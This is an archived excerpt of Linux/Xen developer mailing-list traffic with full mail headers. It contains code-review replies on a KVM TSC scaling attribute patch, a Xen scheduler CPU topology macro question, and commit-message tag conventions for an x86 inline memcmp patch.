X-Gm-Message-State: AOJu0Yw+Ap4YY67MlkCcXtP1L+IoW5m0DxSQH7P/yR9kwhOl4ngvemx0
	MrAHx078hsTfQfi2s5oGjO//ePk4+etZJ9KgPWyF98+31FSJgbgSLNKKtJazsXS86pAUI2Zt7H6
	j4wu6sg==
X-Received: from plzv3.prod.google.com ([2002:a17:902:b7c3:b0:2c8:7fe:29ac])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a17:903:32cc:b0:2c9:c083:cd49
 with SMTP id d9443c01a7336-2ca7e69dfe3mr34635215ad.14.1782942462488; Wed, 01
 Jul 2026 14:47:42 -0700 (PDT)
Date: Wed, 1 Jul 2026 14:47:41 -0700
In-Reply-To: <20260608145455.89187-9-dwmw2@infradead.org>
Mime-Version: 1.0
References: <20260608145455.89187-1-dwmw2@infradead.org> <20260608145455.89187-9-dwmw2@infradead.org>
Message-ID: <akWK_duG7ZsIekt7@google.com>
Subject: Re: [PATCH v5 08/34] KVM: x86: Add KVM_VCPU_TSC_SCALE and fix the
 documentation on TSC migration
From: Sean Christopherson <seanjc@google.com>
To: David Woodhouse <dwmw2@infradead.org>
Cc: Paolo Bonzini <pbonzini@redhat.com>, Jonathan Corbet <corbet@lwn.net>, 
	Shuah Khan <skhan@linuxfoundation.org>, Thomas Gleixner <tglx@kernel.org>, 
	Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	"H. Peter Anvin" <hpa@zytor.com>, Vitaly Kuznetsov <vkuznets@redhat.com>, Juergen Gross <jgross@suse.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Paul Durrant <paul@xen.org>, 
	Jonathan Cameron <jic23@kernel.org>, Sascha Bischoff <Sascha.Bischoff@arm.com>, 
	Marc Zyngier <maz@kernel.org>, Joey Gouly <joey.gouly@arm.com>, Jack Allister <jalliste@amazon.com>, 
	Dongli Zhang <dongli.zhang@oracle.com>, joe.jin@oracle.com, kvm@vger.kernel.org, 
	linux-doc@vger.kernel.org, linux-kernel@vger.kernel.org, 
	xen-devel@lists.xenproject.org, linux-kselftest@vger.kernel.org
Content-Type: text/plain; charset="us-ascii"
X-purgate-ID: tlsNG-ebf023/1782942464-77B231CC-3D2A1459/0/0
X-purgate-type: clean
X-purgate-size: 1638

On Mon, Jun 08, 2026, David Woodhouse wrote:
> diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c
> index c1897d939da9..6337f9b9d7ac 100644
> --- a/arch/x86/kvm/x86.c
> +++ b/arch/x86/kvm/x86.c
> @@ -5930,6 +5930,9 @@ static int kvm_arch_tsc_has_attr(struct kvm_vcpu *vcpu,
>  	case KVM_VCPU_TSC_OFFSET:
>  		r = 0;
>  		break;
> +	case KVM_VCPU_TSC_SCALE:
> +		r = kvm_caps.has_tsc_control ? 0 : -ENXIO;
> +		break;
>  	default:
>  		r = -ENXIO;
>  	}
> @@ -5950,6 +5953,22 @@ static int kvm_arch_tsc_get_attr(struct kvm_vcpu *vcpu,
>  			break;
>  		r = 0;
>  		break;
> +	case KVM_VCPU_TSC_SCALE: {
> +		struct kvm_vcpu_tsc_scale scale;
> +
> +		if (!kvm_caps.has_tsc_control) {
> +			r = -ENXIO;
> +			break;
> +		}

Uber nit.  For consistency with KVM's bizarre pattern here:

		r = -ENXIO;
		if (!kvm_caps.has_tsc_control)
			break;

> +
> +		scale.tsc_ratio = vcpu->arch.l1_tsc_scaling_ratio;
> +		scale.tsc_frac_bits = kvm_caps.tsc_scaling_ratio_frac_bits;
> +		r = -EFAULT;
> +		if (copy_to_user(uaddr, &scale, sizeof(scale)))
> +			break;
> +		r = 0;
> +		break;
> +	}
>  	default:
>  		r = -ENXIO;
>  	}
> @@ -5989,6 +6008,9 @@ static int kvm_arch_tsc_set_attr(struct kvm_vcpu *vcpu,
>  		r = 0;
>  		break;
>  	}
> +	case KVM_VCPU_TSC_SCALE:

Another stupid consistency nit.  Probably do this?

		/*
		 * TSC scaling information is read-only (it's a reflection of
		 * the TSC frequency, which can be set by userspace).
		 */
		r = kvm_caps.has_tsc_control ? -EINVAL : -ENXIO;

> +		r = -EINVAL; /* Read only */
> +		break;
>  	default:
>  		r = -ENXIO;
>  	}


From xen-devel-bounces@lists.xenproject.org Wed Jul 01 21:51:05 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 21:51:05 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350971.1608338 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf2pj-0006cr-0s; Wed, 01 Jul 2026 21:51:03 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350971.1608338; Wed, 01 Jul 2026 21:51:02 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf2pi-0006ck-UP; Wed, 01 Jul 2026 21:51:02 +0000
Received: by outflank-mailman (input) for mailman id 1350971;
 Wed, 01 Jul 2026 21:51:00 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <taka@valinux.co.jp>) id 1wf2pg-0006bO-Hl
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 21:51:00 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wf2pf-0054vW-J6
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 23:50:59 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a458bb2-bab6-0a2a0a5309dd-0a2a450cbc7c-10
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 23:50:59 +0200
Received: from [52.101.229.100]
 (helo=TY3P286CU002.outbound.protection.outlook.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a458bbb-f399-0a2a450c0019-3465e5649f90-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 23:50:53 +0200
Received: from TY7P286MB7234.JPNP286.PROD.OUTLOOK.COM (2603:1096:405:363::12)
 by OSOP286MB3905.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:2ed::11)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.9; Wed, 1 Jul 2026
 21:50:48 +0000
Received: from TY7P286MB7234.JPNP286.PROD.OUTLOOK.COM
 ([fe80::9caa:1ff:d16c:e15f]) by TY7P286MB7234.JPNP286.PROD.OUTLOOK.COM
 ([fe80::9caa:1ff:d16c:e15f%3]) with mapi id 15.21.0181.008; Wed, 1 Jul 2026
 21:50:47 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=valinux.co.jp header.i="@valinux.co.jp" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:x-ms-exchange-senderadcheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=Apnt8DqnPB3QP1Pss7XvY9p+0kbdCP7yxn2rrucfvwj1y68FkxLlEYrg1hRhKLRVhyD6qJ6DuvnV1m8FznVx0qbUlsBKftnGQXO6Wo/V+zAqP5PZ8GXbfpNUC5qfyrsM5h60JCsd7LABTNnf5vdeLIN/8Vajq0BLZMJ3UL4qGx5+G68Pt952GHS2r1yYxERDGhqdg/TTmhtUjnc8tBMc19hwFHs36WbhFGm6DSO9p+WK0EuT9rRr+vRF5g48f8MBxt+s+C76qSknaAJY/M+hCBJRI17V3Z7F9NBv5gOhIh0qHJc8qS1XQI128AUOERHzQDbdjdB/ufIEr4h/DLwXEg==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=wMr+iCYzj+ti+jg9ziJqWr1SMrXbZx3IfO46chyDpn4=;
 b=ypwaOpQDAZrqy15ukHBZ2NWTP4TXHRwj58N2XvSuxWoNtIuwSKRQzXgaCP88hkZdyuEvQEC7ECVV2WotG2ovtzWXoG/73aXh8ARHSbgGFDKUGqK2uM0x29UlONvuh9rhm4rdTMaiTLAj6sy2EzCNX//xmINYyeEZkyN0rAvO+6xpIFftuLUjHBuVhUaBVKtwfbTp4UvpazkxHRGgaK7CkpDybpahAfcc9QJkg5WG9IRfzizC2Zuxz85bIkynuNv/5G8WuQcoJJfBE+lPGmEh9AnRI/o0fPfLcoVVku41mFjgGWCAsMVV5QxjPRYfrrWMBSNglxHOZ99vwTjHcNFdXQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=valinux.co.jp; dmarc=pass action=none
 header.from=valinux.co.jp; dkim=pass header.d=valinux.co.jp; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=valinux.co.jp;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=wMr+iCYzj+ti+jg9ziJqWr1SMrXbZx3IfO46chyDpn4=;
 b=j+g6oOP6ZsUxfXDsGn9GbRB6ocrMsjC8b/6ahfPIdym0Bkp78ohymHbl1dcIQdYM3KO/Q+AAFAvaaaOL1g8R/SNc99kHZapTRA3CUBF5dQcSODc/Kqs4V6XtQbI8jZcw7Jfiodvmngf3ylp984IWAQ/AuUqKRg57/JubZz2UPSE=
From: Hirokazu Takahashi <taka@valinux.co.jp>
To: Jan Beulich <jbeulich@suse.com>
CC: Stefano Stabellini <sstabellini@kernel.org>, Julien Grall
	<julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>, Michal Orzel
	<michal.orzel@amd.com>, Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>, Anthony PERARD
	<anthony.perard@vates.tech>, =?utf-8?B?Um9nZXIgUGF1IE1vbm7DqQ==?=
	<roger.pau@citrix.com>, Timothy Pearson <tpearson@raptorengineering.com>,
	Alistair Francis <alistair.francis@wdc.com>, Connor Davis
	<connojdavis@gmail.com>, Oleksii Kurochko <oleksii.kurochko@gmail.com>, Dario
 Faggioli <dfaggioli@suse.com>, Juergen Gross <jgross@suse.com>, George Dunlap
	<gwd@xenproject.org>, "xen-devel@lists.xenproject.org"
	<xen-devel@lists.xenproject.org>
Subject: RE: [PATCH v3 2/3] xen/sched: Link CPU topology to scheduler
Thread-Topic: [PATCH v3 2/3] xen/sched: Link CPU topology to scheduler
Thread-Index: AQHdCBJhHN8gTC0+5k6Ik1hF9MtBXrZWrIoAgAKKNXA=
Date: Wed, 1 Jul 2026 21:50:47 +0000
Message-ID:
 <TY7P286MB72344551C12A6ABB450FA12C82F62@TY7P286MB7234.JPNP286.PROD.OUTLOOK.COM>
References: <20260629215806.11610-1-taka@valinux.co.jp>
 <20260629215806.11610-3-taka@valinux.co.jp>
 <e01e0ce5-b0a0-4942-9018-20ab252abfc1@suse.com>
In-Reply-To: <e01e0ce5-b0a0-4942-9018-20ab252abfc1@suse.com>
Accept-Language: ja-JP, en-US
Content-Language: ja-JP
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
authentication-results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=valinux.co.jp;
x-ms-publictraffictype: Email
x-ms-traffictypediagnostic: TY7P286MB7234:EE_|OSOP286MB3905:EE_
x-ms-office365-filtering-correlation-id: 876e0c72-eb2d-4830-10f2-08ded7bacf8e
x-ms-exchange-senderadcheck: 1
x-ms-exchange-antispam-relay: 0
x-microsoft-antispam:
 BCL:0;ARA:13230040|376014|7416014|1800799024|366016|23010399003|18002099003|22082099003|4143699003|56012099006|38070700021;
x-microsoft-antispam-message-info:
 htXm5u4D64e1zN8SIjLm9la6UpcfLBKjUwdgmx/eAnj8mZ/BvIlfWsVykXeKC6eRh8/6Q/0LLKDd3UH0hjR+NIkyCs/9u7DnqO/Hiz3sZdtYkJmeL8ZrdIHMHX2y+CA2vwoK0DRueOG3kz3NxjomY/9O8sUtgoxp6hEzWCDQusX2SengdLoJU+Ybh2H16zMX+KAiVSaIBSS2kpymGE8H9ZKpK8BOBjMWfUe6/QCZJC7FsxhcOhYsyHYcLBRnmndEGAYfqeLXCF0GArEWQciSXi9x0VNCXOx0W8a1HTiu70Mfze/3rxzgAComtG543f5vH3eE06ooQKa6anWDyBAu296iPoqR+H9iCEL6soHZwf7bTpM7j9DVWyDSxWSp0O+gCjM6yWUhyMj4DQFQsrP1JFLl/HXN8JvI1gy4iEfjFHUCkPt+7OOcTzQzIN3KRm0JpgTCsJwTS3ttaQJxtWS/rllevBovJdJhX/SJhP8XLCEBgXbOGiTdSg8BJP4Pf+RDH/6GJAY19gljnKyngHkdCR3Y0hf0U7AaYilsEqc7UMc1FrGNFuvAIqaFzA3kEYKtr+TrCjo2RBrNAsAEbm6nL8qKsHlrFCcnheDe4ghMgo9w+MDCvznkVepXi4g60x/VOHsmPDbr7crzZsD7PzNdyQj97ogotZnQvSunX/lklTpZuU7s8LPsL0cNKxkQ5LzZMNMTlFNU5irBQJ7myhCB/g5gTEgcjxaUTkjuRoy1a04=
x-forefront-antispam-report:
 CIP:255.255.255.255;CTRY:;LANG:ja;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:TY7P286MB7234.JPNP286.PROD.OUTLOOK.COM;PTR:;CAT:NONE;SFS:(13230040)(376014)(7416014)(1800799024)(366016)(23010399003)(18002099003)(22082099003)(4143699003)(56012099006)(38070700021);DIR:OUT;SFP:1102;
x-ms-exchange-antispam-messagedata-chunkcount: 1
x-ms-exchange-antispam-messagedata-0:
 =?utf-8?B?M0JzL1VCZzNhdDBGaDZmclRuSzBRNlJvTE9DR1pFK1p5M0F1Rmo0Q2MrWGw3?=
 =?utf-8?B?Zmg3TGl3R3NubnplcDZwa1VhM1J0bVJRZk9ZYVc2ZWM5QW1JVEhBWHZxQ09p?=
 =?utf-8?B?aC9peDFGTGpVNW90RnMrQjRhbVBhdXhtcC8vOWdDZDNUTHByempLam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NKNXFYTmhVRFpYazhEaFZVNnR6?=
 =?utf-8?B?UzR3R01IRER2WnlpMG9MQnk1ZEVmeXE1bFRHOHRuMloxYkJjZnR0UUJTdXJ4?=
 =?utf-8?B?djBLb05YV3BraWpkcGZyb01nUDlSUEpqdStHU2hwRE1zSW12Mkd5ZUZHWlZW?=
 =?utf-8?B?UENOV0Jvblk5ZElJSUZrbUZTWkNkVm9od3V4eDY5WEMwVk9yV081K2Vib1Rh?=
 =?utf-8?B?dnorYlpscjZYVklNRDQ1TlZoVmxPZGxWdmFsZFJyZ1VPRFhlYXlmcUpseXA0?=
 =?utf-8?B?dGNSU2xKNUZNOVh3dFBDUFR1TVFzMEZ5RHFiQWVnMG0xLy9aOGhCaXFXSUFN?=
 =?utf-8?B?Z3VSWFhZZmxySmdYdkJQODNBbXJVY1Q4L1Mrc3AxVmFteUk1WlMxb0Z2SlM0?=
 =?utf-8?Q?Kqm3xGexICjiFCeGuJ?=
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
MIME-Version: 1.0
X-OriginatorOrg: valinux.co.jp
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-AuthSource: TY7P286MB7234.JPNP286.PROD.OUTLOOK.COM
X-MS-Exchange-CrossTenant-Network-Message-Id: 876e0c72-eb2d-4830-10f2-08ded7bacf8e
X-MS-Exchange-CrossTenant-originalarrivaltime: 01 Jul 2026 21:50:47.9037
 (UTC)
X-MS-Exchange-CrossTenant-fromentityheader: Hosted
X-MS-Exchange-CrossTenant-id: 7a57bee8-f73d-4c5f-a4f7-d72c91c8c111
X-MS-Exchange-CrossTenant-mailboxtype: HOSTED
X-MS-Exchange-CrossTenant-userprincipalname: yRYF/KXpEep3E9PAtZ28ju9qPEGZDNLUQU00LZ7HP/884qr+0ohlx5RJTsoFNPkEosXuQjHHfVFkFs4aFcBnaw==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: OSOP286MB3905
X-purgate-ID: tlsNG-d25034/1782942659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Qo+ID4gICNkZWZpbmUg
Y3B1X3RvcG9sb2d5ICgoc3RydWN0IGNwdV90b3BvbG9neSAqKU5VTEwpDQo+ID4gIHN0YXRpYyBp
bmxpbmUgdm9pZCBpbml0X2NwdV90b3BvbG9neSh2b2lkKSB7fQ0KPiA+DQo+ID4gKyNpZm5kZWYg
Y3B1X3RvX2NvcmUNCj4gPiArI2RlZmluZSBjcHVfdG9fY29yZShjcHUpICAgKDApDQo+ID4gKyNl
bmRpZg0KPiA+ICsNCj4gPiArI2lmbmRlZiBjcHVfdG9fc29ja2V0DQo+ID4gKyNkZWZpbmUgY3B1
X3RvX3NvY2tldChjcHUpICgwKQ0KPiA+ICsjZW5kaWYNCj4gDQo+IC4uLiB3aGF0IGd1YXJhbnRl
ZXMsIG9uIHg4NiwgdGhhdCBjcHVfdG9fY29yZSBhbmQgY3B1X3RvX3NvY2tldCBhcmUgYWxyZWFk
eQ0KPiAjZGVmaW5lLWQgYnkgdGhpcyBwb2ludCwgc28gdGhhdCB0aGVzZSBmYWxsYmFja3MgZG9u
J3QgdGFrZSBlZmZlY3QgdGhlcmU/DQo+IChJT1cgSSB0aGluayB5b3UgbmVlZCB0byBleHBsaWNp
dGx5ICIjaW5jbHVkZSA8YXNtL3Byb2Nlc3Nvci5oPiIgYmVsb3cgdGhlDQo+ICNlbHNlIGhlcmUu
IFlldCBiZXR0ZXIgbWlnaHQgYmUgdG8gbW92ZSB0aG9zZSB0d28geDg2ICNkZWZpbmUtcyB0byBh
IG5ldw0KPiBhc20vdG9wb2xvZ3kuaC4pDQoNCllvdSBhcmUgY29tcGxldGVseSByaWdodC4gSSB3
aWxsIGZpeCBpdCBpbiB2NC4NCg0KVGhhbmsgeW91LA0KSGlyb2thenUgVGFrYWhhc2hpLg0K


From xen-devel-bounces@lists.xenproject.org Wed Jul 01 22:01:07 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 22:01:07 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350992.1608348 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf2zO-0004xz-0s; Wed, 01 Jul 2026 22:01:02 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350992.1608348; Wed, 01 Jul 2026 22:01:01 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf2zN-0004xs-UW; Wed, 01 Jul 2026 22:01:01 +0000
Received: by outflank-mailman (input) for mailman id 1350992;
 Wed, 01 Jul 2026 22:01:01 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <mfo@igalia.com>) id 1wf2zM-0004xj-7l
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 22:01:01 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wf2zL-003o8p-4H
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 00:00:59 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <mfo@igalia.com>)
 id 6a458e0e-5cb7-0a2a0a5109dd-0a2a450ca3a2-26
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 00:00:57 +0200
Received: from [213.97.179.56] (helo=fanzine2.igalia.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <mfo@igalia.com>)
 id 6a458e18-f399-0a2a450c0019-d561b338d27c-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 00:00:57 +0200
Received: from maestria.local.igalia.com ([192.168.10.14] helo=mail.igalia.com)
 by fanzine2.igalia.com with esmtps 
 (Cipher TLS1.3:ECDHE_SECP256R1__RSA_PSS_RSAE_SHA256__AES_256_GCM:256) (Exim)
 id 1wf2yt-007ljZ-Ns; Thu, 02 Jul 2026 00:00:31 +0200
Received: from webmail.service.igalia.com ([192.168.21.45])
 by mail.igalia.com with esmtp (Exim)
 id 1wf2yr-008Wju-Lr; Thu, 02 Jul 2026 00:00:31 +0200
Received: from localhost ([127.0.0.1] helo=webmail.igalia.com)
 by webmail.service.igalia.com with esmtp (Exim 4.98.2)
 (envelope-from <mfo@igalia.com>) id 1wf2yr-0000000DsjJ-1ury;
 Thu, 02 Jul 2026 00:00:29 +0200
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20170329 header.d=igalia.com header.i="@igalia.com" header.h="Content-Transfer-Encoding:Content-Type:Message-ID:References:In-Reply-To:Subject:Cc:To:From:Date:MIME-Version"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=igalia.com;
	s=20170329; h=Content-Transfer-Encoding:Content-Type:Message-ID:References:
	In-Reply-To:Subject:Cc:To:From:Date:MIME-Version:Sender:Reply-To:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Id:List-Help:List-Unsubscribe:List-Subscribe:
	List-Post:List-Owner:List-Archive;
	bh=yaM2/r0nQ+KZa9DjbHwZn8AL8mGnTAI+bvsmHq0U8OI=; b=clzouy0BybVRLPyaWMiEL3ApQu
	zHIDnxBF5w2LC4HvrX+1geUmrI7pjYHSvksAIMFK2Mpy7+KcLOOlGutwh9F1oYiZNK9LqLopJFSUs
	gA6bjZoG4CsxeUYgSDVjPc7kwjqOekrEOt2PdmRHsaxjkUBZC32DTzWWxqX1scQ0XFceBVbioCZOq
	ycJ6ulD9ANZoBAP2Y5mhqopisw2s9RCV3DpH125RteFJV/HPHI7QAY/CP4sZ8Ci2tRuPWkywuY2NM
	gzkHc3Z6J+o+5cLkay+hqY9n0PhinyfJXycC2Eey4hBM7iBzFWit2DsHrHs1z9lQ7Bgucaa+qRk2f
	lYDUhF3w==;
MIME-Version: 1.0
Date: Wed, 01 Jul 2026 19:00:29 -0300
From: Mauricio Faria de Oliveira <mfo@igalia.com>
To: Borislav Petkov <bp@alien8.de>
Cc: Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, Dave
 Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, "H. Peter Anvin"
 <hpa@zytor.com>, Juergen Gross <jgross@suse.com>, Alexey Dobriyan
 <adobriyan@gmail.com>, Boris Ostrovsky <boris.ostrovsky@oracle.com>,
 kernel-dev@igalia.com, linux-kernel@vger.kernel.org,
 xen-devel@lists.xenproject.org
Subject: Re: [PATCH RESEND v5 1/3] x86/asm, x86/boot: expose inline memcmp
In-Reply-To: <20260701204640.GDakV8sOK1cu-0P4Bc@fat_crate.local>
References: <20260630-pvh-kasan-inline-v5-0-52afc979be81@igalia.com>
 <20260630-pvh-kasan-inline-v5-1-52afc979be81@igalia.com>
 <20260701184014.GDakVfDhIgaIKurzTb@fat_crate.local>
 <fed9dc5860b96063c06592080f957589@igalia.com>
 <20260701204640.GDakV8sOK1cu-0P4Bc@fat_crate.local>
Message-ID: <bcf2df642c56040a05ff439cf8adce70@igalia.com>
X-Sender: mfo@igalia.com
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Spam-Report: NO, Score=-4.7, Tests=ALL_TRUSTED=-3,AWL=-2.549,BAYES_50=0.8
X-Spam-Score: -46
X-Spam-Bar: ----
X-purgate-ID: tlsNG-d25034/1782943257-91F23D51-73567504/0/0
X-purgate-type: clean
X-purgate-size: 851

On 2026-07-01 17:46, Borislav Petkov wrote:
> On Wed, Jul 01, 2026 at 04:57:57PM -0300, Mauricio Faria de Oliveira wrote:
>> I'm not sure, as Reported-by and Suggested-by mean something different.
>> 
>> Maybe a simpler statement would do? e.g., '(Thanks to David Laight for
>> noticing the return value difference between inline and regular
>> memcmp())'. That gives credit while avoiding confusion with tags.
> 
> The Link tag already points to the review thread where we document who
> suggested what. We don't document who gave what review comments and
> suggestions for the simple reason that that would be intractable and the other
> simple reason is that they don't belong in the commit message.
> 
> Changelog comments belong *exactly* under the "---" line.

Ok, I'll send v6 addressing your feedback. Thanks.

-- 
Mauricio


From xen-devel-bounces@lists.xenproject.org Wed Jul 01 22:41:55 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 22:41:55 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1351008.1608356 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf3ca-0001SE-Ta; Wed, 01 Jul 2026 22:41:32 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1351008.1608356; Wed, 01 Jul 2026 22:41:32 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf3ca-0001S7-QE; Wed, 01 Jul 2026 22:41:32 +0000
Received: by outflank-mailman (input) for mailman id 1351008;
 Wed, 01 Jul 2026 22:41:31 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <taka@valinux.co.jp>) id 1wf3cY-0001Rz-Nj
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 22:41:31 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wf3cX-00AMwd-VX
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 00:41:29 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a459787-5cb7-0a2a0a5109dd-0a2a450cb7d4-14
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 00:41:29 +0200
Received: from [52.101.125.77]
 (helo=TYVP286CU001.outbound.protection.outlook.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a459796-f399-0a2a450c0019-34657d4dfa73-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 00:41:28 +0200
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:458::18)
 by TYYP286MB4652.JPNP286.PROD.OUTLOOK.COM (2603:1096:405:194::9) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.8; Wed, 1 Jul 2026
 22:41:23 +0000
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6]) by OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6%6]) with mapi id 15.21.0181.008; Wed, 1 Jul 2026
 22:41:23 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
